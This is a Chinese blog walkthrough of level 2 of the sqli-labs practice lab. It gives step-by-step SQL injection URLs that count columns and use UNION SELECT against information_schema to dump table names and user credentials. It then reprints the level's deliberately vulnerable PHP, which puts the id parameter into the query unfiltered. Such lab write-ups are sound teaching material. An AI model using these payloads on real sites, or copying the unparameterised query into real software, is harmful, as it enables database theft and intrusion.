天天看點

sqli-labs-master第二關:Error Based- Intiger

來到第二關:

<a href="http://127.0.0.1/sqli-labs-master/Less-2/">http://127.0.0.1/sqli-labs-master/Less-2/</a>

判斷是否有注入點:

and 1 = 1 傳回正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23

and 1 = 2 傳回失敗

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23

說明存在注入點:

order by  n 檢視字段

當n=3時傳回正确

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3  %23

當=4時傳回錯誤

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4  %23

說明字段是3

用union select 進行聯合查詢:

并用報錯的方式顯示顯示位:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3  %23

通過上圖可以看到顯示位在2,3上。

用version()和database()檢視php版本和目前網站用的資料庫名字

我們通過上圖可以看到資料庫是“security” 版本是5.5.53

接下來我們檢視資料庫security下的表:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23

通過上圖可以看到有users表

檢視users表裡的列

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

接下來就是檢視username和password裡的内容:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1,username,password from users where id = 2 %23

結束:

聲明:源代碼被我改動了,是以在注入的時候才會顯示出來查詢語句

接下來看看源代碼:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

<code>&lt;!DOCTYPE html PUBLIC </code><code>"-//W3C//DTD XHTML 1.0 Transitional//EN"</code> <code>"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"</code><code>&gt;</code>

<code>&lt;html xmlns=</code><code>"http://www.w3.org/1999/xhtml"</code><code>&gt;</code>

<code>&lt;head&gt;</code>

<code>&lt;meta http-equiv=</code><code>"Content-Type"</code> <code>content=</code><code>"text/html; charset=utf-8"</code> <code>/&gt;</code>

<code>&lt;title&gt;Less-2 **Error Based- Intiger**&lt;/title&gt;</code>

<code>&lt;/head&gt;</code>

<code>&lt;body bgcolor=</code><code>"#000000"</code><code>&gt;</code>

<code>&lt;div style=</code><code>" margin-top:60px;color:#FFF; font-size:23px; text-align:center"</code><code>&gt;Welcome&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color=</code><code>"#FF0000"</code><code>&gt; Dhakkan &lt;/font&gt;&lt;br&gt;</code>

<code>&lt;font size=</code><code>"3"</code> <code>color=</code><code>"#FFFF00"</code><code>&gt;</code>

<code>&lt;?php</code>

<code>//including the Mysql connect parameters.</code>

<code>include</code><code>(</code><code>"../sql-connections/sql-connect.php"</code><code>);</code>

<code>error_reporting</code><code>(0);</code>

<code>// take the variables</code>

<code>if</code><code>(isset(</code><code>$_GET</code><code>[</code><code>'id'</code><code>]))</code>

<code>{</code>

<code>$id</code><code>=</code><code>$_GET</code><code>[</code><code>'id'</code><code>];</code>

<code>//logging the connection parameters to a file for analysis.</code>

<code>$fp</code><code>=</code><code>fopen</code><code>(</code><code>'result.txt'</code><code>,</code><code>'a'</code><code>);</code>

<code>fwrite(</code><code>$fp</code><code>,</code><code>'ID:'</code><code>.</code><code>$id</code><code>.</code><code>"\n"</code><code>);</code>

<code>fclose(</code><code>$fp</code><code>);</code>

<code>// connectivity </code>

<code>$sql</code><code>=</code><code>"SELECT * FROM users WHERE id=$id LIMIT 0,1"</code><code>;</code>

<code>$result</code><code>=mysql_query(</code><code>$sql</code><code>);</code>

<code>$row</code> <code>= mysql_fetch_array(</code><code>$result</code><code>);</code>

<code>echo</code> <code>$sql</code><code>;</code>

<code>echo</code> <code>"&lt;br&gt;"</code><code>;</code>

<code>    </code><code>if</code><code>(</code><code>$row</code><code>)</code>

<code>    </code><code>{</code>

<code>      </code><code>echo</code> <code>"&lt;font size='5' color= '#99FF00'&gt;"</code><code>;</code>

<code>      </code><code>echo</code> <code>'Your Login name:'</code><code>. </code><code>$row</code><code>[</code><code>'username'</code><code>];</code>

<code>      </code><code>echo</code> <code>"&lt;br&gt;"</code><code>;</code>

<code>      </code><code>echo</code> <code>'Your Password:'</code> <code>.</code><code>$row</code><code>[</code><code>'password'</code><code>];</code>

<code>      </code><code>echo</code> <code>"&lt;/font&gt;"</code><code>;</code>

<code>      </code><code>}</code>

<code>    </code><code>else</code> 

<code>    </code><code>echo</code> <code>'&lt;font color= "#FFFF00"&gt;'</code><code>;</code>

<code>    </code><code>print_r(mysql_error());</code>

<code>    </code><code>echo</code> <code>"&lt;/font&gt;"</code><code>;  </code>

<code>    </code><code>}</code>

<code>}</code>

<code>    </code><code>else</code>

<code>        </code><code>{ </code>

<code>        </code><code>echo</code> <code>"Please input the ID as parameter with numeric value"</code><code>;</code>

<code>        </code><code>}</code>

<code>?&gt;</code>

<code>&lt;/font&gt; &lt;/div&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;center&gt;</code>

<code>&lt;img src=</code><code>"../images/Less-2.jpg"</code> <code>/&gt;&lt;/center&gt;</code>

<code>&lt;/body&gt;</code>

<code>&lt;/html&gt;</code>

通過源代碼我們可以看到,在連接配接資料庫查詢的時候并沒有進行任何過濾

與第一關不同的地方就是

這句,沒有“''”符号。

利用方式大緻相同。

第三關盡快更新

本文轉自 天道酬勤VIP 51CTO部落格,原文連結:http://blog.51cto.com/tdcqvip/2061568